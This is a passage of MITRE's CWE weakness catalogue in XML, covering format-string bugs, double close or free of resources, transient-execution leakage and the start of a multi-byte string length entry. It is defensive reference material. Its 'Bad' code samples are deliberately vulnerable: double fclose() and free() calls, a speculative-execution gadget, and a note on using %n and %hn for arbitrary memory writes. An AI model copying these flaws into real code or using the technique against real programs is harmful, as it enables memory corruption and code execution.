               <Body_Text>This code produces the following output: 5 9 5 5 It is also possible to use half-writes (%hn) to accurately control arbitrary DWORDS in memory, which greatly reduces the complexity needed to execute an attack that would otherwise require four staggered writes, such as the one mentioned in the first example.</Body_Text>
            </Demonstrative_Example>
         </Demonstrative_Examples>
         <Observed_Examples>
            <Observed_Example>
               <Reference>CVE-2002-1825</Reference>
               <Description>format string in Perl program</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2002-1825</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2001-0717</Reference>
               <Description>format string in bad call to syslog function</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2001-0717</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2002-0573</Reference>
               <Description>format string in bad call to syslog function</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2002-0573</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2002-1788</Reference>
               <Description>format strings in NNTP server responses</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2002-1788</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2006-2480</Reference>
               <Description>Format string vulnerability exploited by triggering errors or warnings, as demonstrated via format string specifiers in a .bmp filename.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2006-2480</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2007-2027</Reference>
               <Description>Chain: untrusted search path enabling resultant format string by loading malicious internationalization messages</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2007-2027</Link>
            </Observed_Example>
         </Observed_Examples>
         <Functional_Areas>
            <Functional_Area>Logging</Functional_Area>
            <Functional_Area>Error Handling</Functional_Area>
            <Functional_Area>String Processing</Functional_Area>
         </Functional_Areas>
         <Affected_Resources>
            <Affected_Resource>Memory</Affected_Resource>
         </Affected_Resources>
         <Taxonomy_Mappings>
            <Taxonomy_Mapping Taxonomy_Name="PLOVER">
               <Entry_Name>Format string vulnerability</Entry_Name>
            </Taxonomy_Mapping>
            <Taxonomy_Mapping Taxonomy_Name="7 Pernicious Kingdoms">
               <Entry_Name>Format String</Entry_Name>
            </Taxonomy_Mapping>
            <Taxonomy_Mapping Taxonomy_Name="CLASP">
               <Entry_Name>Format string problem</Entry_Name>
            </Taxonomy_Mapping>
            <Taxonomy_Mapping Taxonomy_Name="CERT C Secure Coding">
               <Entry_ID>FIO30-C</Entry_ID>
               <Entry_Name>Exclude user input from format strings</Entry_Name>
               <Mapping_Fit>Exact</Mapping_Fit>
            </Taxonomy_Mapping>
            <Taxonomy_Mapping Taxonomy_Name="CERT C Secure Coding">
               <Entry_ID>FIO47-C</Entry_ID>
               <Entry_Name>Use valid format strings</Entry_Name>
               <Mapping_Fit>CWE More Specific</Mapping_Fit>
            </Taxonomy_Mapping>
            <Taxonomy_Mapping Taxonomy_Name="OWASP Top Ten 2004">
               <Entry_ID>A1</Entry_ID>
               <Entry_Name>Unvalidated Input</Entry_Name>
               <Mapping_Fit>CWE More Specific</Mapping_Fit>
            </Taxonomy_Mapping>
            <Taxonomy_Mapping Taxonomy_Name="WASC">
               <Entry_ID>6</Entry_ID>
               <Entry_Name>Format String</Entry_Name>
            </Taxonomy_Mapping>
            <Taxonomy_Mapping Taxonomy_Name="The CERT Oracle Secure Coding Standard for Java (2011)">
               <Entry_ID>IDS06-J</Entry_ID>
               <Entry_Name>Exclude user input from format strings</Entry_Name>
            </Taxonomy_Mapping>
            <Taxonomy_Mapping Taxonomy_Name="SEI CERT Perl Coding Standard">
               <Entry_ID>IDS30-PL</Entry_ID>
               <Entry_Name>Exclude user input from format strings</Entry_Name>
               <Mapping_Fit>Exact</Mapping_Fit>
            </Taxonomy_Mapping>
            <Taxonomy_Mapping Taxonomy_Name="Software Fault Patterns">
               <Entry_ID>SFP24</Entry_ID>
               <Entry_Name>Tainted input to command</Entry_Name>
            </Taxonomy_Mapping>
            <Taxonomy_Mapping Taxonomy_Name="OMG ASCSM">
                <Entry_ID>ASCSM-CWE-134</Entry_ID>
            </Taxonomy_Mapping>
         </Taxonomy_Mappings>
         <Related_Attack_Patterns>
            <Related_Attack_Pattern CAPEC_ID="135"/>
            <Related_Attack_Pattern CAPEC_ID="67"/>
         </Related_Attack_Patterns>
         <References>
            <Reference External_Reference_ID="REF-116"/>
            <Reference External_Reference_ID="REF-117"/>
            <Reference External_Reference_ID="REF-118"/>
            <Reference External_Reference_ID="REF-7" Section="Chapter 5, &#34;Format String Bugs&#34; Page 147"/>
            <Reference External_Reference_ID="REF-44" Section="&#34;Sin 6: Format String Problems.&#34; Page 109"/>
            <Reference External_Reference_ID="REF-62" Section="Chapter 8, &#34;C Format Strings&#34;, Page 422"/>
            <Reference External_Reference_ID="REF-962" Section="ASCSM-CWE-134"/>
         </References>
         <Notes>
            <Note Type="Applicable Platform">
               <xhtml:p>This weakness is possible in any programming language that support format strings.</xhtml:p>
            </Note>
            <Note Type="Other">
               <xhtml:p>While Format String vulnerabilities typically fall under the Buffer Overflow category, technically they are not overflowed buffers. The Format String vulnerability is fairly new (circa 1999) and stems from the fact that there is no realistic way for a function that takes a variable number of arguments to determine just how many arguments were passed in. The most common functions that take a variable number of arguments, including C-runtime functions, are the printf() family of calls. The Format String problem appears in a number of ways. A *printf() call without a format specifier is dangerous and can be exploited. For example, printf(input); is exploitable, while printf(y, input); is not exploitable in that context. The result of the first call, used incorrectly, allows for an attacker to be able to peek at stack memory since the input string will be used as the format specifier. The attacker can stuff the input string with format specifiers and begin reading stack values, since the remaining parameters will be pulled from the stack. Worst case, this improper use may give away enough control to allow an arbitrary value (or values in the case of an exploit program) to be written into the memory of the running program.</xhtml:p>
               <xhtml:p>Frequently targeted entities are file names, process names, identifiers.</xhtml:p>
               <xhtml:p>Format string problems are a classic C/C++ issue that are now rare due to the ease of discovery. One main reason format string vulnerabilities can be exploited is due to the %n operator. The %n operator will write the number of characters, which have been printed by the format string therefore far, to the memory pointed to by its argument. Through skilled creation of a format string, a malicious user may use values on the stack to create a write-what-where condition. Once this is achieved, they can execute arbitrary code. Other operators can be used as well; for example, a %9999s operator could also trigger a buffer overflow, or when used in file-formatting functions like fprintf, it can generate a much larger output than intended.</xhtml:p>
            </Note>
            <Note Type="Research Gap">Format string issues are under-studied for languages other than C. Memory or disk consumption, control flow or variable alteration, and data corruption may result from format string exploitation in applications written in other languages such as Perl, PHP, Python, etc.</Note>
         </Notes>
         <Content_History>
            <Submission>
               <Submission_Name>PLOVER</Submission_Name>
               <Submission_Date>2006-07-19</Submission_Date>
            </Submission>
            <Modification>
               <Modification_Organization>KDM Analytics</Modification_Organization>
               <Modification_Date>2008-08-01</Modification_Date>
               <Modification_Comment>added/updated white box definitions</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-09-08</Modification_Date>
               <Modification_Comment>updated Applicable_Platforms, Common_Consequences, Detection_Factors, Modes_of_Introduction, Relationships, Other_Notes, Research_Gaps, Taxonomy_Mappings, Weakness_Ordinalities</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-11-24</Modification_Date>
               <Modification_Comment>updated Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2009-03-10</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2009-05-27</Modification_Date>
               <Modification_Comment>updated Demonstrative_Examples</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>KDM Analytics</Modification_Name>
               <Modification_Date>2009-07-17</Modification_Date>
               <Modification_Comment>Improved the White_Box_Definition</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2009-07-27</Modification_Date>
               <Modification_Comment>updated White_Box_Definitions</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2010-02-16</Modification_Date>
               <Modification_Comment>updated Detection_Factors, References, Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-06-01</Modification_Date>
               <Modification_Comment>updated Common_Consequences, Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-06-27</Modification_Date>
               <Modification_Comment>updated Modes_of_Introduction, Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-09-13</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations, References, Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-05-11</Modification_Date>
               <Modification_Comment>updated Observed_Examples, References, Related_Attack_Patterns, Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2014-07-30</Modification_Date>
               <Modification_Comment>updated Demonstrative_Examples, Detection_Factors, Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2015-12-07</Modification_Date>
               <Modification_Comment>updated Description, Modes_of_Introduction, Name, Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-11-08</Modification_Date>
               <Modification_Comment>updated Applicable_Platforms, Causal_Nature, Functional_Areas, Likelihood_of_Exploit, Other_Notes, References, Relationships, Taxonomy_Mappings, White_Box_Definitions</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2018-03-27</Modification_Date>
               <Modification_Comment>updated References</Modification_Comment>
            </Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2019-01-03</Modification_Date>
					<Modification_Comment>updated References, Relationships, Taxonomy_Mappings</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2019-06-20</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2019-09-19</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-02-24</Modification_Date>
					<Modification_Comment>updated Detection_Factors, Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-08-20</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-12-10</Modification_Date>
					<Modification_Comment>updated Common_Consequences, Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2021-03-15</Modification_Date>
					<Modification_Comment>updated Potential_Mitigations, Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-01-31</Modification_Date>
					<Modification_Comment>updated Description</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated References, Relationships</Modification_Comment>
				</Modification>
            <Previous_Entry_Name Date="2015-12-07">Uncontrolled Format String</Previous_Entry_Name>
         </Content_History>
      </Weakness>
      <Weakness ID="1341" Name="Multiple Releases of Same Resource or Handle" Abstraction="Base" Structure="Simple" Status="Incomplete">
			<Description>The product attempts to close or release a resource or handle more than once, without any successful open between the close operations.</Description>
			<Extended_Description>
			  <xhtml:p>Code typically requires "opening" handles or references to resources such as memory, files, devices, socket connections, services, etc. When the code is finished with using the resource, it is typically expected to "close" or "release" the resource, which indicates to the environment (such as the OS) that the resource can be re-assigned or reused by unrelated processes or actors - or in some cases, within the same process. API functions or other abstractions are often used to perform this release, such as free() or delete() within C/C++, or file-handle close() operations that are used in many languages.</xhtml:p>
			  <xhtml:p>Unfortunately, the implementation or design of such APIs might expect the developer to be responsible for ensuring that such APIs are only called once per release of the resource. If the developer attempts to release the same resource/handle more than once, then the API's expectations are not met, resulting in undefined and/or insecure behavior. This could lead to consequences such as memory corruption, data corruption, execution path corruption, or other consequences.</xhtml:p>
			  <xhtml:p>Note that while the implementation for most (if not all) resource reservation allocations involve a unique identifier/pointer/symbolic reference, then if this identifier is reused, checking the identifier for resource closure may result in a false state of openness and closing of the wrong resource. For this reason, reuse of identifiers is discouraged.</xhtml:p>
			</Extended_Description>
			<Related_Weaknesses>
				<Related_Weakness Nature="ChildOf" CWE_ID="675" View_ID="1000" Ordinal="Primary"/>
				<Related_Weakness Nature="CanPrecede" CWE_ID="672" View_ID="1000" Ordinal="Primary"/>
			</Related_Weaknesses>
			<Applicable_Platforms>	
				<Language Name="Java" Prevalence="Undetermined"/>
				<Language Name="Rust" Prevalence="Undetermined"/>
				<Language Class="Not Language-Specific" Prevalence="Undetermined"/>
				<Language Name="C" Prevalence="Undetermined"/>
				<Language Name="C++" Prevalence="Undetermined"/>
				<Operating_System Class="Not OS-Specific" Prevalence="Undetermined"/>
				<Architecture Class="Not Architecture-Specific" Prevalence="Undetermined"/>
				<Technology Class="Not Technology-Specific" Prevalence="Undetermined"/>
			</Applicable_Platforms>
			<Modes_Of_Introduction>
				<Introduction>
					<Phase>Implementation</Phase>
				</Introduction>
			</Modes_Of_Introduction>
			<Common_Consequences>
				<Consequence>
					<Scope>Availability</Scope>
					<Scope>Integrity</Scope>
					<Impact>DoS: Crash, Exit, or Restart</Impact>
					<Likelihood>Medium</Likelihood>
				</Consequence>
			</Common_Consequences>
			<Detection_Methods>
				<Detection_Method>
				  <Method>Automated Static Analysis</Method>
				  <Description>For commonly-used APIs and resource types, automated tools often have signatures that can spot this issue.</Description>
				</Detection_Method>
				<Detection_Method>
					<Method>Automated Dynamic Analysis</Method>
					<Description>Some compiler instrumentation tools such as AddressSanitizer (ASan) can indirectly detect some instances of this weakness.</Description>
				</Detection_Method>
			</Detection_Methods>
			<Potential_Mitigations>
				<Mitigation>
				  <Phase>Implementation</Phase>
				  <Description>Change the code's logic so that the resource is only closed once. This might require simplifying or refactoring. This fix can be simple to do in small code blocks, but more difficult when multiple closes are buried within complex conditionals.</Description>
				</Mitigation>
				<Mitigation>
				  <Phase>Implementation</Phase>
				  <Strategy>Refactoring</Strategy>
				  <Description>It can be effective to implement a flag that is (1) set when the resource is opened, (2) cleared when it is closed, and (3) checked before closing. This approach can be useful when there are disparate cases in which closes must be performed. However, flag-tracking can increase code complexity and requires diligent compliance by the programmer.</Description>
				</Mitigation>
				<Mitigation>
				  <Phase>Implementation</Phase>
				  <Strategy>Refactoring</Strategy>
				  <Description>When closing a resource, set the resource's associated variable to NULL or equivalent value for the given language. Some APIs will ignore this null value without causing errors. For other APIs, this can lead to application crashes or exceptions, which may still be preferable to corrupting an unintended resource such as memory or data.</Description>
				  <Effectiveness>Defense in Depth</Effectiveness>
				</Mitigation>
			</Potential_Mitigations>
			<Demonstrative_Examples>
				<Demonstrative_Example>
					<Intro_Text>This example attempts to close a file twice. In some cases, the C library fclose() function will catch the error and return an error code. In other implementations, a double-free (CWE-415) occurs, causing the program to fault. Note that the examples presented here are simplistic, and double fclose() calls will frequently be spread around a program, making them more difficult to find during code reviews.</Intro_Text>
					<Example_Code Nature="Bad" Language="C">
char b[2000];<xhtml:br/>
FILE *f = fopen("dbl_cls.c", "r");<xhtml:br/>
if (f)<xhtml:br/>
{<xhtml:br/>
	<xhtml:div style="margin-left:1em;">b[0] = 0;<xhtml:br/>
	fread(b, 1, sizeof(b) - 1, f);<xhtml:br/>
	printf("%s\n'", b);<xhtml:br/>
	int r1 = fclose(f);<xhtml:br/>
	printf("\n-----------------\n1 close done '%d'\n", r1);<xhtml:br/><xhtml:br/>
	int r2 = fclose(f);	// Double close<xhtml:br/>
	printf("2 close done '%d'\n", r2);</xhtml:div>
}
					</Example_Code>
					<Body_Text>There are multiple possible fixes. This fix only has one call to fclose(), which is typically the preferred handling of this problem - but this simplistic method is not always possible.<xhtml:br/>
					</Body_Text>
					<Example_Code Nature="Good" Language="C">
char b[2000];<xhtml:br/>
FILE *f = fopen("dbl_cls.c", "r");<xhtml:br/>
if (f)<xhtml:br/>
{<xhtml:br/>
	<xhtml:div style="margin-left:1em;">b[0] = 0;<xhtml:br/>
	fread(b, 1, sizeof(b) - 1, f);<xhtml:br/>
	printf("%s\n'", b);<xhtml:br/>
	int r = fclose(f);<xhtml:br/>
	printf("\n-----------------\n1 close done '%d'\n", r);</xhtml:div>
}
					</Example_Code>
					<Body_Text>This fix uses a flag to call fclose() only once. Note that this flag is explicit. The variable "f" could also have been used as it will be either NULL if the file is not able to be opened or a valid pointer if the file was successfully opened. If "f" is replacing "f_flg" then "f" would need to be set to NULL after the first fclose() call so the second fclose call would never be executed.<xhtml:br/>
					</Body_Text>
					<Example_Code Nature="Good" Language="C">
char b[2000];<xhtml:br/>
int f_flg = 0;<xhtml:br/>
FILE *f = fopen("dbl_cls.c", "r");<xhtml:br/>
if (f)<xhtml:br/>
{<xhtml:br/>
	<xhtml:div style="margin-left:1em;">f_flg = 1;<xhtml:br/>
	b[0] = 0;<xhtml:br/>
	fread(b, 1, sizeof(b) - 1, f);<xhtml:br/>
	printf("%s\n'", b);<xhtml:br/>
	if (f_flg)<xhtml:br/>
	{<xhtml:br/>
		<xhtml:div style="margin-left:1em;">int r1 = fclose(f);<xhtml:br/>
		f_flg = 0;<xhtml:br/>
		printf("\n-----------------\n1 close done '%d'\n", r1);</xhtml:div><xhtml:br/>
	}<xhtml:br/><xhtml:br/>
	if (f_flg)<xhtml:br/>
	{<xhtml:br/>
		<xhtml:div style="margin-left:1em;">int r2 = fclose(f);	// Double close<xhtml:br/>
		f_flg = 0;<xhtml:br/>
		printf("2 close done '%d'\n", r2);</xhtml:div><xhtml:br/>
	}</xhtml:div><xhtml:br/>
}
					</Example_Code>
				</Demonstrative_Example>
            <Demonstrative_Example Demonstrative_Example_ID="DX-149">
               <Intro_Text>The following code shows a simple example of a double free vulnerability.</Intro_Text>
               <Example_Code Nature="Bad" Language="C">
                  <xhtml:div>char* ptr = (char*)malloc (SIZE);<xhtml:br/>...<xhtml:br/>if (abrt) {<xhtml:div style="margin-left:1em;">free(ptr);</xhtml:div>}<xhtml:br/>...<xhtml:br/>free(ptr);</xhtml:div>
               </Example_Code>
               <Body_Text>Double free vulnerabilities have two common (and sometimes overlapping) causes:</Body_Text>
               <Body_Text>
                  <xhtml:ul>
                     <xhtml:li>
                        <xhtml:div>Error conditions and other exceptional circumstances</xhtml:div>
                     </xhtml:li>
                     <xhtml:li>
                        <xhtml:div>Confusion over which part of the program is responsible for freeing the memory</xhtml:div>
                     </xhtml:li>
                  </xhtml:ul>
               </Body_Text>
               <Body_Text>Although some double free vulnerabilities are not much more complicated than this example, most are spread out across hundreds of lines of code or even different files. Programmers seem particularly susceptible to freeing global variables more than once.</Body_Text>
            </Demonstrative_Example>
			</Demonstrative_Examples>
			<Observed_Examples>
			  <Observed_Example>
			    <Reference>CVE-2019-13351</Reference>
			    <Description>file descriptor double close can cause the wrong file to be associated with a file descriptor.</Description>
			    <Link>https://www.cve.org/CVERecord?id=CVE-2019-13351</Link>
			  </Observed_Example>
			  <Observed_Example>
			    <Reference>CVE-2006-5051</Reference>
			    <Description>Chain: Signal handler contains too much functionality (CWE-828), introducing a race condition that leads to a double free (CWE-415).</Description>
			    <Link>https://www.cve.org/CVERecord?id=CVE-2006-5051</Link>
			  </Observed_Example>
			  <Observed_Example>
			    <Reference>CVE-2004-0772</Reference>
			    <Description>Double free resultant from certain error conditions.</Description>
			    <Link>https://www.cve.org/CVERecord?id=CVE-2004-0772</Link>
			  </Observed_Example>
			</Observed_Examples>
			<References>
				<Reference External_Reference_ID="REF-1198"/>
				<Reference External_Reference_ID="REF-1199"/>
				<Reference External_Reference_ID="REF-1200"/>
				<Reference External_Reference_ID="REF-1201"/>
			</References>
			<Notes>
			  <Note Type="Terminology">The terms related to "release"  may vary depending on the type of resource, programming language, specification, or framework. "Close" has been used synonymously for the release of resources like file descriptors and file handles. "Return" is sometimes used instead of Release. "Free" is typically used when releasing memory or buffers back into the system for reuse.
			  </Note>
			</Notes>
			<Content_History>
			  <Submission>
			    <Submission_Name>CWE Content Team</Submission_Name>
			    <Submission_Organization>MITRE</Submission_Organization>
			    <Submission_Date>2021-09-07</Submission_Date>
			  </Submission>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2022-04-28</Modification_Date>
					<Modification_Comment>updated Demonstrative_Examples, Description, Potential_Mitigations</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2022-10-13</Modification_Date>
					<Modification_Comment>updated References</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
			</Content_History>
		</Weakness>
      <Weakness ID="1342" Name="Information Exposure through Microarchitectural State after Transient Execution" Abstraction="Base" Structure="Simple" Status="Incomplete">
			<Description>The processor does not properly clear microarchitectural state after incorrect microcode assists or speculative execution, resulting in transient execution.</Description>
			<Extended_Description>
				<xhtml:p>In many processor architectures an exception, mis-speculation, or microcode assist results in a flush operation to clear results that are no longer required. This action prevents these results from influencing architectural state that is intended to be visible from software. However, traces of this transient execution may remain in microarchitectural buffers, resulting in a change in microarchitectural state that can expose sensitive information to an attacker using side-channel analysis. For example, Load Value Injection (LVI) [REF-1202] can exploit direct injection of erroneous values into intermediate load and store buffers.</xhtml:p>
				<xhtml:p>Several conditions may need to be fulfilled for a successful attack:</xhtml:p>
			    <xhtml:ul>
				<xhtml:li>1) incorrect transient execution that results in remanence of sensitive information;</xhtml:li>
				<xhtml:li>2) attacker has the ability to provoke microarchitectural exceptions;</xhtml:li>
				<xhtml:li>3) operations and structures in victim code that can be exploited must be identified.</xhtml:li>
			    </xhtml:ul>
			</Extended_Description>
			<Related_Weaknesses>
			  <Related_Weakness Nature="ChildOf" CWE_ID="226" View_ID="1000" Ordinal="Primary"/>
			  <Related_Weakness Nature="ChildOf" CWE_ID="226" View_ID="1194" Ordinal="Primary"/>
			</Related_Weaknesses>
			<Applicable_Platforms>
				<Language Class="Not Language-Specific" Prevalence="Undetermined"/>
				<Operating_System Class="Not OS-Specific" Prevalence="Undetermined"/>
				<Architecture Class="Workstation" Prevalence="Undetermined"/>
				<Architecture Name="x86" Prevalence="Undetermined"/>
				<Architecture Name="ARM" Prevalence="Undetermined"/>
				<Architecture Name="Other" Prevalence="Undetermined"/>
				<Technology Class="Not Technology-Specific" Prevalence="Undetermined"/>
				<Technology Class="System on Chip" Prevalence="Undetermined"/>
				</Applicable_Platforms>
			<Modes_Of_Introduction>
				<Introduction>
					<Phase>Architecture and Design</Phase>
				</Introduction>
				<Introduction>
					<Phase>Requirements</Phase>
				</Introduction>
			</Modes_Of_Introduction>
			<Common_Consequences>
				<Consequence>
					<Scope>Confidentiality</Scope>
					<Scope>Integrity</Scope>
					<Impact>Modify Memory</Impact>
					<Impact>Read Memory</Impact>
					<Impact>Execute Unauthorized Code or Commands</Impact>
					<Likelihood>Medium</Likelihood>
				</Consequence>
			</Common_Consequences>
			<Potential_Mitigations>
				<Mitigation>
					<Phase>Architecture and Design</Phase>
					<Phase>Requirements</Phase>
					<Description>Hardware ensures that no illegal data flows from faulting micro-ops exists at the microarchitectural level.</Description>
					<Effectiveness>High</Effectiveness>
					<Effectiveness_Notes>Being implemented in silicon it is expected to fully address the known weaknesses with limited performance impact.</Effectiveness_Notes>
				</Mitigation>
				<Mitigation>
					<Phase>Build and Compilation</Phase>
					<Description>Include instructions that explicitly remove traces of unneeded computations from software interactions with microarchitectural elements e.g. lfence, sfence, mfence, clflush.</Description>
					<Effectiveness>High</Effectiveness>
					<Effectiveness_Notes>This effectively forces the processor to complete each memory access before moving on to the next operation. This may have a large performance impact.</Effectiveness_Notes>
				</Mitigation>
			</Potential_Mitigations>
			<Demonstrative_Examples>
				<Demonstrative_Example>
					<Intro_Text>Faulting loads in a victim domain may trigger incorrect transient forwarding, which leaves secret-dependent traces in the microarchitectural state. Consider this example from [REF-1203].</Intro_Text>
					<Body_Text>Consider the code gadget:</Body_Text>
					<Example_Code Nature="Bad" Language="C">
					  <xhtml:div>
					    void call_victim(size_t untrusted_arg) {<xhtml:br/>
					    <xhtml:div style="margin-left:1em;">
					      *arg_copy = untrusted_arg;<xhtml:br/>
					      array[**trusted_ptr * 4096];<xhtml:br/>
					    </xhtml:div>
					    }
					</xhtml:div>
					</Example_Code>
					<Body_Text><xhtml:p>A processor with this weakness will store the value of untrusted_arg (which may be provided by an attacker) to the stack, which is trusted memory. Additionally, this store operation will save this value in some microarchitectural buffer, e.g. the store queue.</xhtml:p>
					<xhtml:p>In this code gadget, 
					trusted_ptr is dereferenced while the attacker forces a page fault. The faulting load causes the processor to mis-speculate by forwarding untrusted_arg as the (speculative) load result. The processor then uses untrusted_arg for the pointer dereference. After the fault has been handled and the load has been re-issued with the correct argument, secret-dependent information stored at the address of trusted_ptr remains in microarchitectural state and can be extracted by an attacker using a code gadget.</xhtml:p></Body_Text>
				</Demonstrative_Example>
			</Demonstrative_Examples>
			<Observed_Examples>
				<Observed_Example>
					<Reference>CVE-2020-0551</Reference>
					<Description>Load value injection in some processors utilizing speculative execution may allow an authenticated user to enable information disclosure via a side-channel with local access.</Description>
					<Link>https://www.cve.org/CVERecord?id=CVE-2020-0551</Link>
				</Observed_Example>
			</Observed_Examples>
         <Related_Attack_Patterns>
            <Related_Attack_Pattern CAPEC_ID="696"/>
         </Related_Attack_Patterns>
         <References>
				<Reference External_Reference_ID="REF-1202"/>
				<Reference External_Reference_ID="REF-1203"/>
				<Reference External_Reference_ID="REF-1204"/>
				<Reference External_Reference_ID="REF-1205"/>
			</References>
			<Notes>
			  <Note Type="Relationship">
			    CWE-1342 differs from CWE-1303, which is related to misprediction and biasing microarchitectural components, while CWE-1342 addresses illegal data flows and retention. For example, Spectre is an instance of CWE-1303 biasing branch prediction to steer the transient execution indirectly.
			  </Note>
           <Note Type="Maintenance">As of CWE 4.9, members of the CWE Hardware SIG are closely analyzing this entry and others to improve CWE's coverage of transient execution weaknesses, which include issues related to Spectre, Meltdown, and other attacks. Additional investigation may include other weaknesses related to microarchitectural state. As a result, this entry might change significantly in CWE 4.10.</Note>
			</Notes>
			  
			<Content_History>
				<Submission>
					<Submission_Name>Anders Nordstrom, Alric Althoff</Submission_Name>
					<Submission_Organization>Tortuga Logic</Submission_Organization>
					<Submission_Date>2021-09-22</Submission_Date>
				</Submission>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2022-10-13</Modification_Date>
					<Modification_Comment>updated Demonstrative_Examples, Maintenance_Notes, Related_Attack_Patterns</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
			</Content_History>
		</Weakness>
      <Weakness ID="135" Name="Incorrect Calculation of Multi-Byte String Length" Abstraction="Base" Structure="Simple" Status="Draft">
         <Description>The product does not correctly calculate the length of strings that can contain wide or multi-byte characters.</Description>
         <Related_Weaknesses>
            <Related_Weakness Nature="ChildOf" CWE_ID="682" View_ID="1000" Ordinal="Primary"/>
         </Related_Weaknesses>
         <Applicable_Platforms>
            <Language Name="C" Prevalence="Undetermined"/>
            <Language Name="C++" Prevalence="Undetermined"/>
         </Applicable_Platforms>
         <Modes_Of_Introduction>
            <Introduction>
               <Phase>Implementation</Phase>
               <Note>
                  <xhtml:p>There are several ways in which improper string length checking may result in an exploitable condition. All of these, however, involve the introduction of buffer overflow conditions in order to reach an exploitable state.</xhtml:p>
